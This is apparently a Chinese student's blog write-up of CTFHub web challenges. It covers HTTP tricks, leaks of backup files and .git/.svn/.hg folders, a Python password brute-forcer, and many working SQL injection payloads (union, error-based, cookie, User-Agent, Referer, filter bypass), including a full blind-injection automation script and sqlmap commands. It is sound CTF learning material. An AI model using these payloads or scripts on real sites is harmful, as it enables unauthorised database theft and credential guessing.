本部的阮行止学长推荐了ctf web方向的刷题顺序。这几天太废了,光顾着看JOJO了2333,已经从大乔看到了星辰远征军埃及篇了,今天打算学习学习,不让自己的良心太难受。
这道题很有意思。
题目提示说,只有用CTFHUB这个方法请求,才能获得flag。一般的请求方式有GET和POST等,那如何用这个自定义的CTFHUB来请求呢?我想到了HTTP报文中一般会把方法写在开头,比如以下报文就是GET方式请求的。
我在Burpsuite把GET改成CTFHUB后重新发送请求,就获得了flag。
那这是怎么实现的呢?我猜测大概率是利用PHP中的全局变量$_SERVER['REQUEST_METHOD']
来判断请求方法是什么的。
页面有一个按钮,点击后会到达index.php,但是它返回的状态码是302,我们无法看到内容就被重定向到了原本的index.html。
用burpsuite很容易看到302界面的flag。
那php是如何实现这种302界面并且实现跳转的呢?搜索一番资料后我发现这种实现非常简单和优美。
我们利用这个神奇的header函数就能够发送原生的http头从而实现跳转。
效果如下。
界面提示只有admin才能获得flag,结合题目cookie,思路很明显。利用burpsuite抓包后发现cookie有admin属性,设置为1之后就能获得flag。
实现也非常简单,用php里的setcookie函数就能够在cookie中设置一个属性,并赋予其默认值。
这道题需要用到编写脚本了!果然最近荒废了许多,花了20几分钟才做出这道基础题,险些超时。这道题让我了解了一种http原生的基础认证,状态码是401,需要让用户进行输入用户名和密码进行验证。
抓包后发现WWW-Authenticate
字段中有提示。
很显然用户名就是admin了。那密码是什么呢?该题目提供了一个附件,里面有100个密码,那么密码也知道了。
根据基础认证的流程,用户名和密码经过拼接,再经过base64加密后放在Authentication属性中发送到服务器,服务器对其进行验证。
但是有100个密码,一个个试太麻烦了,遂用python实现。
import requests
import base64
burp0_url = "http://challenge-76a7f08ebaef75b3.sandbox.ctfhub.com:10800/flag.html"
num = 0
with open("10_million_password_list_top_100.txt", "r") as f:
for line in f.readlines():
num = num + 1
password = line[:-1] #去掉每行最后的换行符
Authorization = "Basic " + base64.b64encode(("admin:" + password).encode()).decode()
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Authorization": Authorization}
response = requests.get(burp0_url, headers=burp0_headers).text
if ("ctfhub" in response):
print("第", num, "个密码正确,发现flag")
print(response)
else:
print("第", num, "个密码错误,没有找到flag")
代码主题的request部分有burpsuite的插件Copy as Requests
自动生成,然后自己设置了一个变量Authentication,遍历所有的密码。
最终在第84个密码获得了flag。
这次python脚本编写经历,我发现判断一个字符串中是否含有某个字符实际上非常简单,用in谓词即可。
这道题看了官方writeup,发现burpsuite的Intruder完全可以代替写脚本,只需要导入密码,然后添加前缀admin:
,再最进行base64加密,就可以实现对遍历。
最后老样子,来自己实现一下http的基础认证。
还是很有可玩性的,以后可以试试。
F12看到flag,蚌埠住了
再/3/1/
下找到flag。
这种apache的文件浏览是怎么做到的呢?
实际上在某个目录下新建一个.htaccess文件,然后写入以下内容,那么该文件夹里的内容都会被列举出来啦。
<Files *> Options Indexes </Files>
值得注意的是,html文件点就后会被直接渲染出来,十分有用。以下是test.html
的内容和渲染结果。
这道题太棒了,flag直接藏在phpinfo里面。界面搜索ctfhub
不一会儿就在$_ENV['FLAG']
里找到了flag。
老习惯,自己也来试试吧吧!
比想象的简单,我用的是php:5.6-apache
镜像,只要在docker run 的时候加入环境变量即可在phpinfo中展现出来。所以如果在ctf比赛中出题人在出题时用动态flag,这必将利用到环境变量,如果出题人忘记删除掉环境变量,同时我们能够访问到phpinfo的话,就可以直接得到flag,虽然一般都会把环境变量删掉2333。
以下是docker run语句。
docker run -itd --name php -v "/root/tools/html:/var/www/html" -p 10000:80 -e FLAG=flag{wuuconix_yyds!} php:5.6-apache
提示很明显了,故用脚本来判断备份文件到底是什么,利用返回的statau_code是不是404,来判断。
import requests
head_list = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
ext_list = ['tar', 'tar.gz', 'zip', 'rar']
for head in head_list:
for ext in ext_list:
url = "http://challenge-a2c8887aa9929362.sandbox.ctfhub.com:10800/"
file = head + "." + ext
url += file
print("尝试url:", url)
res = requests.get(url)
if (res.status_code != 404):
print(res.text)
else:
print("返回404")
锁定www.zip,访问网站后会自动下载该压缩包,得到一个文件。
打开后没有flag。
在网页中访问该文件得到flag。
提示flag就在index.php里,index.php会在某些情况下产生出一些备份文件。我对此进行了罗列。
然后利用dirsearch指定这个字典文件,扫描后扫到了index.php.bak
,就是题目2333
访问下载打开后得到flag。
和上题一样,继续使用dirsearch和我罗列的字典。发现.index.php.swp
。这种文件是因为在使用vim编辑过程意外退出产生的,如果继续套娃意外退出,还可能会产生.index.php.swo
和.index.php.swn
。
下载后发现这不是普通的文本文件。vscode打不开。
在ubuntu里用curl -o下载文件,再用vim -r即可。
vim -r .index.php.swp
这个vim还挺有趣的,我试了一翻,一开始意外退出是swp
然后再次意外退出是swo
,这个顺序其实是字母表从后往前推进了。注意下图的时间。不知道到了swa之后会不会是swz呀2333。
看来这个.DS_Store
是尊贵的Mac OS专享文件。
在ubuntu里curl -o下载文件,发现flag位置。
访问后得到flag。
我发现直接cat 这个文件有些乱码,看了官方的writeup后了解到可以用gehaxelt/Python-dsstore来看到原本的内容。
使用之后成功得到原始数据。
我在我的ubuntu主机上也找了一下.DS_Store
。发现一些博客插件里也有.DS_Store 2333,估计它们用的都是尊贵的Mac OS进行开发的,羡慕啊。
这道题太妙了,题干中提示了.git泄露,同时提到了一款强大的工具BugScanTeam/GitHack: .git 泄漏利用工具,可还原历史版本 (github.com)
利用这个GitHack工具可以下载到当前的网页源文件和.git文件夹
但是不幸的是,index.html
中没有flag。
我又用vscode的搜索功能在整个文件夹下找ctfhub
,结果也没有发现flag。
我陷入了人生和社会的大思考。
但是我注意到了一个重要信息,这里曾经是有flag的,只不过在某次commit中删除了。
想了一会儿,我突然意识到git这种东西应该是能恢复到之前的某个状态的,因为自己一直没有使用这个功能,也不适用分支这种,便忽略了这个强大的功能。
利用git log
便能看到所有的变化。
然后我们利用git reset --hard commit id
来恢复到某个状态,我们这里就选择刚刚添加flag那个commit。
git reset --hard 065ab364a11a0c75abc11340cb882b277827ed02
然后就会发现文件夹下多了个文本文件,里面就是flag啦。
git这种能够回到过去的强大能力让我惊讶,今后也好多多利用好git这个优秀的工具。
查阅了一下资源,git stash是一种将本地项目的状态存储起来的操作,不会上传到github上。
继续用GitHack恢复.git
目录
然后输入git stash list
就能看到所有的stash存储,发现第一个stash@{0}
存储了一个加入flag的状态。
之后利用git stash apply stash@{0}
即可恢复到那一个状态,成功得到flag。
说是Index,但是我这里githack一恢复,一ls,就有flag了是怎么回事啊23333。
题干没有给出使用的工具。我根据在github上找了两个工具,一个是svnhack,一个是svnexploit,全部都是只能下载当前的源文件,不给你下载最关键的.svn
文件夹。但是这道题的flag在旧版本中,现在是没有flag文件的。
最终无奈地看了writeup。才知道有一个叫做 kost/dvcs-ripper 的工具。
有了.svn文件夹后,一般来说所有的文件都会在.svn/pristine
有一个备份,包括被删掉的文件。
成功得到flag。
做完后我发现了一个不用这个工具就能得到flag的方法。
所有的备份文件都会在.svn/pristine
这个目录下,然后每个文件比如这个e0a15cc404c2351e8dce038c0c2d1a684419ed1c.svn-base
它就会在.svn/pristine/e0/e0a15cc404c2351e8dce038c0c2d1a684419ed1c.svn-base
,这个e0就是文件的前两位。
所以我们只要知道了e0a15cc404c2351e8dce038c0c2d1a684419ed1c
这一串乱码,我们就能锁定文件。
而这一串乱码可以在.svn/wc.db
中找到。
这里解释一下为什么知道wc.db
,因为是dirsearch扫到的,所以我就去看了一眼。
这里就有两个乱码,分别对应flag文件和index.html。
最后吐槽一波admintony/svnExploit,为什么不把svn文件也一起下载下来 。还有明明已经发现flag文件了,却不给出checksum,这个checksum明明能够通过wc.db获得的。
功能完善一下不秒杀这个 kost/dvcs-ripper ?
已经在项目下提了一个Issue,让我们坐等作者更新2333。
查阅了一下资料,发现hg泄露也可以用昨天那个软件kost/dvcs-ripper。但是貌似不好使,也不知道出了什么问题。
没法,便用dirsearch扫了一下。
把几个可访问的文件都下载后,在/.hg/store/undo
后发现了flag文件。
访问后成功得到flag。
这道题告诉我们不能迷信工具,还得手工尝试。
佛了,做完后才发现那个工具是出结果了的,但是在命令返回结果全是404搞得好像什么都没出,大意了,下次应该用-o
指定输出目录。
前几天被vaala称为弱密码带师,结果被这道题卡住了。
跑了半天,用了好多字典,都不行。无奈看writeup。最后得知密码是admin123。
再看了看我的拥有19576个密码的密码字典。
留下了眼泪。
这里让你找亿邮邮件网关的默认口令。滑稽的是,现在查亿邮邮件网关默认口令,查到的却全是ctfhub这道题的writeup。真正的信息来源已经被淹没了。
测试之后是第二个。
题目给出了完整的sql语句。select * 后页面返回了两个值,一个是ID。一个是Data。
git reset --hard 065ab364a11a0c75abc11340cb882b277827ed02
发现order by 3就不能正常显示了,说明一共就两个字段。我们也有充分的理由怀疑,这两列的字段分别为Id和Data。
接下来我们需要利用union select来爆信息。union select 的字段的个数需要和主select的个数一直,也就是两个。
然后如果你这样填。
1 or 1=1 union select database(), 2
你会发现你得不到你想要的数据,页面只会显示主select查询到第一行的数据。
所以我们需要让主select查询不到任何东西,而只显示我们select查询到的东西。
很显然这样就行了。
1 and 1=2 union select database(), 2
之后就是基本操作。
1 and 1=2 union select group_concat(table_name), 2 from information_schema.tables where table_schema='sqli'
锁定flag表。
1 and 1=2 union select group_concat(column_name), 2 from information_schema.columns where table_name='flag'
锁定flag表中的flag列。
进行查询。
1 and 1=2 union select flag, 2 from flag
不得不说,上学期学习了数据库之后对SQL的理解加深了许多,这道题很快做出来。
ctfhub的sql注入也非常友善,把完整的sql语句给出来了,非常适合新手来进行学习。
和上一篇整形注入几乎一致,但是这里有了引号,首先利用引号闭合,之后还需要利用注释符#
还使原来的右引号失效。
1' and 1=2 union select database(), 2#
1' and 1=2 union select 2, group_concat(table_name) from information_schema.tables where table_schema = 'sqli'#
1' and 1=2 union select 2, group_concat(column_name) from information_schema.columns where table_name = 'flag'#
1' and 1=2 union select 2, flag from flag#
利用extracvalue来xpath报错。
1 and (select extractvalue(1, concat(0x7e, (select database()))))
1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))
1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))
1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))
利用updatexml来xpath报错。
1 and (select updatexml(1, (concat (0x7e, (select database()))),1))
1 and (select updatexml(1, (concat (0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='sqli'))),1))
1 and (select updatexml(1, (concat (0x7e, (select group_concat(column_name) from information_schema.columns where table_name='flag'))),1))
1 and (select updatexml(1, concat(0x7e, (select flag from flag)), 1))
利用floor来group by主键重复报错。
1 union select count(*), concat((select database()), floor(rand(0)*2)) x from news group by x
1 union select count(*), concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1), floor(rand(0)*2)) x from news group by x
注:图中有错误,在limit那里,正确的用法如上。
1 union select count(*), concat((select column_name from information_schema.columns where table_name='flag' limit 0,1), floor(rand(0)*2)) x from news group by x
1 union select count(*), concat((select flag from flag limit 0,1), floor(rand(0)*2)) x from news group by x
在30分钟里用三种方法报错注入得到flag,顺便写出writeup,感觉蛮快了2333。
extractvalue和updatexml用起来没什么问题,很顺利。
突然发现用这两个函数得到的flag是不完整的。这两个函数的返回值最多只有32个字符。这里和最终的flag少了一个右大括号。
以后遇到这种问题再用一下right()
获取右边的值即可。
用group by的时候问题很大,首先它貌似只试用于mysql 5.x的版本,以至于我在本地最新mysql版本上复现出来。关于这个问题在 csdn上 写了一篇博客。
然后我发现用这个group by来报错的时候不能用爆表和爆字段的时候不能用group_concat
。但是我在本地测试的时候又可以,很奇怪,感觉是题目的锅。
但是没关系,不用group_concat就手动一个个查,利用limit来控制。
limit的第一个值表示从 第几行开始,第二个值表示从开始的行取几行。
布尔盲注使用场景的特征十分明显,即界面不会给出查询的具体结果,也不会给你报错信息。而只会告诉你查询成功还是查询失败。
这就需要我们去利用一些神奇的函数比如substr
,ascii
,length
来猜测。
猜测什么呢?首先猜测数据库的长度,知道了长度,就去猜数据库每个字符。知道了数据库,就去猜数据表的个数,表名长度,具体表名等等等等。也就是所有的一切都是你需要用上面的函数来猜出来的。
如果手工来实现这一过程,就会变得非常繁琐,这里我花了一个下午的时间写了一个盲注的脚本。
运行过程十分舒适和人性化。
import requests
from urllib.parse import quote
success_flag = "query_success" #成功查询到内容的关键字
base_url = "http://challenge-d41158772186d1b6.sandbox.ctfhub.com:10800/?id="
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
def get_database_length():
global success_flag, base_url, headers, cookies
length = 1
while (1):
id = "1 and length(database()) = " + str(length)
url = base_url + quote(id) #很重要,因为id中有许多特殊字符,比如#,需要进行url编码
response = requests.get(url, headers=headers).text
if (success_flag not in response):
print("database length", length, "failed!")
length+=1
else:
print("database length", length, "success")
print("payload:", id)
break
print("数据库名的长度为", length)
return length
def get_database(database_length):
global success_flag, base_url, headers, cookies
database = ""
for i in range(1, database_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and ascii(substr(database(), " + str(i) + ", 1)) = " + str(ascii)
response = requests.get(base_url + quote(id_equal), headers=headers).text
if (success_flag in response):
database += chr(ascii)
print ("目前已知数据库名", database)
break
else:
id_bigger = "1 and ascii(substr(database(), " + str(i) + ", 1)) > " + str(ascii)
response = requests.get(base_url + quote(id_bigger), headers=headers).text
if (success_flag in response):
l = ascii + 1
else:
r = ascii - 1
print("数据库名为", database)
return database
def get_table_num(database):
global success_flag, base_url, headers, cookies
num = 1
while (1):
id = "1 and (select count(table_name) from information_schema.tables where table_schema = '" + database + "') = " + str(num)
response = requests.get(base_url + quote(id), headers=headers).text
if (success_flag in response):
print("payload:", id)
print("数据库中有", num, "个表")
break
else:
num += 1
return num
def get_table_length(index, database):
global success_flag, base_url, headers, cookies
length = 1
while (1):
id = "1 and (select length(table_name) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ", 1) = " + str(length)
response = requests.get(base_url + quote(id), headers=headers).text
if (success_flag not in response):
print("table length", length, "failed!")
length+=1
else:
print("table length", length, "success")
print("payload:", id)
break
print("数据表名的长度为", length)
return length
def get_table(index, table_length, database):
global success_flag, base_url, headers, cookies
table = ""
for i in range(1, table_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and (select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) = " + str(ascii)
response = requests.get(base_url + quote(id_equal), headers=headers).text
if (success_flag in response):
table += chr(ascii)
print ("目前已知数据库名", table)
break
else:
id_bigger = "1 and (select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) > " + str(ascii)
response = requests.get(base_url + quote(id_bigger), headers=headers).text
if (success_flag in response):
l = ascii + 1
else:
r = ascii - 1
print("数据表名为", table)
return table
def get_column_num(table):
global success_flag, base_url, headers, cookies
num = 1
while (1):
id = "1 and (select count(column_name) from information_schema.columns where table_name = '" + table + "') = " + str(num)
response = requests.get(base_url + quote(id), headers=headers).text
if (success_flag in response):
print("payload:", id)
print("数据表", table, "中有", num, "个字段")
break
else:
num += 1
return num
def get_column_length(index, table):
global success_flag, base_url, headers, cookies
length = 1
while (1):
id = "1 and (select length(column_name) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ", 1) = " + str(length)
response = requests.get(base_url + quote(id), headers=headers).text
if (success_flag not in response):
print("column length", length, "failed!")
length+=1
else:
print("column length", length, "success")
print("payload:", id)
break
print("数据表", table, "第", index, "个字段的长度为", length)
return length
def get_column(index, column_length, table):
global success_flag, base_url, headers, cookies
column = ""
for i in range(1, column_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and (select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) = " + str(ascii)
response = requests.get(base_url + quote(id_equal), headers=headers).text
if (success_flag in response):
column += chr(ascii)
print ("目前已知字段为", column)
break
else:
id_bigger = "1 and (select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) > " + str(ascii)
response = requests.get(base_url + quote(id_bigger), headers=headers).text
if (success_flag in response):
l = ascii + 1
else:
r = ascii - 1
print("数据表", table, "第", index, "个字段名为", column)
return column
def get_flag_num(column, table):
global success_flag, base_url, headers, cookies
num = 1
while (1):
id = "1 and (select count(" + column + ") from " + table + ") = " + str(num)
response = requests.get(base_url + quote(id), headers=headers).text
if (success_flag in response):
print("payload:", id)
print("数据表", table, "中有", num, "行数据")
break
else:
num += 1
return num
def get_flag_length(index, column, table):
global success_flag, base_url, headers, cookies
length = 1
while (1):
id = "1 and (select length(" + column + ") from " + table + " limit " + str(index) + ", 1) = " + str(length)
response = requests.get(base_url + quote(id), headers=headers).text
if (success_flag not in response):
print("flag length", length, "failed!")
length+=1
else:
print("flag length", length, "success")
print("payload:", id)
break
print("数据表", table, "第", index, "行数据的长度为", length)
return length
def get_flag(index, flag_length, column, table):
global success_flag, base_url, headers, cookies
flag = ""
for i in range(1, flag_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and (select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) = " + str(ascii)
response = requests.get(base_url + quote(id_equal), headers=headers).text
if (success_flag in response):
flag += chr(ascii)
print ("目前已知flag为", flag)
break
else:
id_bigger = "1 and (select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) > " + str(ascii)
response = requests.get(base_url + quote(id_bigger), headers=headers).text
if (success_flag in response):
l = ascii + 1
else:
r = ascii - 1
print("数据表", table, "第", index, "行数据为", flag)
return flag
if __name__ == "__main__":
print("---------------------")
print("开始获取数据库名长度")
database_length = get_database_length()
print("---------------------")
print("开始获取数据库名")
database = get_database(database_length)
print("---------------------")
print("开始获取数据表的个数")
table_num = get_table_num(database)
tables = []
print("---------------------")
for i in range(0, table_num):
print("开始获取第", i + 1, "个数据表的名称的长度")
table_length = get_table_length(i, database)
print("---------------------")
print("开始获取第", i + 1, "个数据表的名称")
table = get_table(i, table_length, database)
tables.append(table)
while(1): #在这个循环中可以进入所有的数据表一探究竟
print("---------------------")
print("现在得到了以下数据表", tables)
table = input("请在这些数据表中选择一个目标: ")
while( table not in tables ):
print("你输入有误")
table = input("请重新选择一个目标")
print("---------------------")
print("选择成功,开始获取数据表", table, "的字段数量")
column_num = get_column_num(table)
columns = []
print("---------------------")
for i in range(0, column_num):
print("开始获取数据表", table, "第", i + 1, "个字段名称的长度")
column_length = get_column_length(i, table)
print("---------------------")
print("开始获取数据表", table, "第", i + 1, "个字段的名称")
column = get_column(i, column_length, table)
columns.append(column)
while(1): #在这个循环中可以获取当前选择数据表的所有字段记录
print("---------------------")
print("现在得到了数据表", table, "中的以下字段", columns)
column = input("请在这些字段中选择一个目标: ")
while( column not in columns ):
print("你输入有误")
column = input("请重新选择一个目标")
print("---------------------")
print("选择成功,开始获取数据表", table, "的记录数量")
flag_num = get_flag_num(column, table)
flags = []
print("---------------------")
for i in range(0, flag_num):
print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的长度")
flag_length = get_flag_length(i, column, table)
print("---------------------")
print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的内容")
flag = get_flag(i, flag_length, column, table)
flags.append(flag)
print("---------------------")
print("现在得到了数据表", table, "中", column, "字段中的以下记录", flags)
quit = input("继续切换字段吗?(y/n)")
if (quit == 'n' or quit == 'N'):
break
else:
continue
quit = input("继续切换数据表名吗?(y/n)")
if (quit == 'n' or quit == 'N'):
break
else:
continue
print("bye~")
先给出github地址。
wuuconix/SQL-Blind-Injection-Auto: 自己写的SQL盲注自动化脚本 (github.com)
最后在给出演示视频。
时间盲注和上一篇布尔盲注一样都是盲注,都需要借助length
,ascii
,substr
这些神奇的函数来猜测各项信息。它们的差别是猜测成功的依据。
布尔盲注的话如果查询有结果,一般会有一个success_flag
,比如在上一题里就会返回query successfully
。我的脚本也就是request返回值里有没有这个文本来判断是否查询成功的。
但是时间盲注不一样,它不光不给你查询的内容的回显,不给你报错信息,甚至连布尔盲注里的success_flag
也不给你。也就是什么情况呢?你在那里查询,它什么信息都不给你,也就是所谓的无回显
。我以前认为无回显是根本不可能做出来的。但是时间盲注让我打开眼界。
时间盲注相当于自行创造出了一个success_flag
,将查询成功的情况与查询失败的情况做了区分。以此区别作为依据,我们便可以进行猜测,盲注。
这个区别是这样产生的。主要利用了mysql中的if
函数和sleep
函数。我们看下面一条语句。
1 and if(1=1, 1, sleep(2))
if函数的第一个参数是一条判断语句,1=1
为真,所以if函数会返回第二个参数即1
。即
1 and 1
这很显然会正常返回结果。
那如果把if的第一个参数改变一下呢?
1 and if(1=2, 1, sleep(2))
第一个参数是false,if函数会返回第二个参数sleep(2)
,这会让这个查询语句睡眠两秒,再返回结果。
同时由于这个sleep函数本身的返回值是0,即false。
故那条语句的结果将会返回空。
同时我们的脚本还需要对这个睡眠2秒进行识别,因为sql查询语句睡眠了两秒,那么php也会跟着等,整个页面将会进入等待而迟迟不给出相应,我们的request就需要根据相应给出的时间来得到这个success_flag
。
这样即可,在get请求中写一个timeout
参数
requests.get(url, headers=headers, timeout=1)
如果在1s钟内服务器没有返回信息,那么request就会报错。
然后我们就可以用异常捕捉语句来捕捉这个报错,从而根据有没有报错来判断我们需要判断的信息是否正确。
时间盲注的脚本已经更新到github,这里就不写了,太长了。
实际上也就是在昨天脚本的基础上套上了一层if,然后把success_flag
换成了异常处理。
Cookie注入界面一般不会给你输入框,类似这道题目。
它的注入点存在于Cookie之中。这是Burp抓包的结果。
那就很简单了,我们还是利用那个强大的插件,Copy as requests,把请求转化为python中的request代码。之后改一下id的值就行。因为这道题是有回显的,所以用最基本的联合注入即可,要是Cookie配合上时间盲注就有意思了2333。
import requests
# id = "1 and 1=2 union select database(), 1" #爆库
# id = "1 and 1=2 union select group_concat(table_name), 1 from information_schema.tables where table_schema = 'sqli'" #爆表
# id = "1 and 1=2 union select group_concat(column_name), 1 from information_schema.columns where table_name = 'fwtzeovuem'" #爆字段
id = "1 and 1=2 union select rzahbuabdf, 1 from fwtzeovuem" #get flag
burp0_url = "http://challenge-498ee75cbbb367a1.sandbox.ctfhub.com:10800/"
burp0_cookies = {"id": id, "hint": "id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Cache-Control": "max-age=0"}
print(requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text)
因为这道题比较简单,我还试了一下sqlmap
。这次总算不是日常坚不可摧
了。成功得到了flag。
python3 sqlmap.py -u "http://challenge-498ee75cbbb367a1.sandbox.ctfhub.com:10800" --cookie "id=1" --level 2 -D sqli -T fwtzeovuem -C rzahbuabdf --dump
UA注入和Cookie类似,只是换了个注入位置。基于的还是最基础的Union注入。
import requests
burp0_url = "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/"
# UA = "1 and 1=2 union select 1, database()"
# UA = "1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'"
# UA = "1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='cqomjcukck'"
UA = "1 and 1=2 union select 1, ycrtshvcir from cqomjcukck"
burp0_headers = {"User-Agent": UA, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
print(requests.get(burp0_url, headers=burp0_headers).text)
照例,还是试了一下sqlmap,我才发现sqlmap原来这么好用。
python3 sqlmap.py -u "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/" --level 3
只是设置了level为3,其他什么都不给。结果一上来就提示UA是动态的,可注入。
它提示在UA这个参数这里有两种可能的注入,一种是时间盲注,一种是union联合注入,还都出了payload。
这确实非常强。为什么这里时间盲注也可以呢?这相当于不看页面的回显,直接用响应时间来判断,这么想来是不是大部分的sql注入都适合时间盲注2333。
当然自己注入的话,肯定会选择十分简单的union联合注入。
python3 sqlmap.py -u "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/" --level 3 -D sqli -T cqomjcukck --columns
而且sqlmap有一个非常牛逼的点,它每次运行完都会把该网站的结果存在某个文件中,下次深入获得信息的时候会直接从文件中读取之前取得的成果,而不用从头开始,这大大提高了效率。
和Cookie注入和UA注入类似,不多说了,只是换了一个地方。
import requests
burp0_url = "http://challenge-49bfa8cdc6c5744d.sandbox.ctfhub.com:10800/"
# referer = "1 and 1=2 union select 1, database()"
# referer = "1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli'"
# referer = "1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'sngrgwaxpk'"
referer = "1 and 1=2 union select 1, lwwwrezxpx from sngrgwaxpk"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Referer": referer}
print(requests.get(burp0_url, headers=burp0_headers).text)
这道题貌似sqlmap就不太好使了。
python3 sqlmap.py -u http://challenge-49bfa8cdc6c5744d.sandbox.ctfhub.com:10800/ --level 3
它发现了Referer是脆弱的,但是只检查出了时间盲注,没有检查出union注入。之后的时间盲注也一直失败。
当然也可能是我在中途选则选项的时候没有选好2333。
这道题过滤了空格,可以用注释符/**/
来代替空格。
import requests
from urllib.parse import quote
burp0_url = "http://challenge-b018c199badc637a.sandbox.ctfhub.com:10800/?id="
# id = "1/**/and/**/1=2/**/union/**/select/**/1,database()"
# id = "1/**/and/**/1=2/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/'sqli'"
# id = "1/**/and/**/1=2/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'lsoupzeglx'"
id = "1/**/and/**/1=2/**/union/**/select/**/1,pqmtlqzjwp/**/from/**/lsoupzeglx"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://challenge-b018c199badc637a.sandbox.ctfhub.com:10800/?id=1", "Upgrade-Insecure-Requests": "1"}
print(requests.get(burp0_url + quote(id), headers=burp0_headers).text)
按理说用括号来代替也可以,但是括号的替换难度较大,可能我的姿势不对,没有成功。
用sqlmap的时候发现了一个功能,sqlmap原始的payload尝试应该都是用的空格来分隔的,所以它就会返回id不可注入的结果。
查阅资料后发现sqlmap有个叫做tamper的功能。实际上就是在tamper文件夹下有一些脚本。
这道题里就可以使用里面的space2comment.py
脚本,把空格转化为注释符。
python3 sqlmap.py -u "http://challenge-b018c199badc637a.sandbox.ctfhub.com:10800/?id=1" -p id --level 3 --tamper="space2comment.py"
运行后就可以发现sqlmap已经可以发现注入点了。
虽然是时间盲注2333,可能sqlmap对页面的具体内容很难进行判断,无法在页面上获得succcess_flag
,对它来说用页面相应的时间来说还更简单了2333。
到这里ctfhub的sql注入题目就做完了。
本来看ctfhub上有xss的题目,打算好好学习一波,结果点开一看,只有一道题2333。
便现在dvwa上熟悉了一波。所谓反射型是相对于存储型来讲的。
如果黑客的xss注入是通过某种方式储存到了数据库中,那就是存储型的,这种xss的特点就是每次访问该页面都会收到xss攻击,因为js语句已经放在数据库里了。
而反射型xss则不是这样,每次触发只能手动输入和点击才能触发。
我认为xss产生的原因主要是对html标签审查不严格造成的。
下面写一下dvwa中的三种难度的反射型xss。
<?php
// Low难度
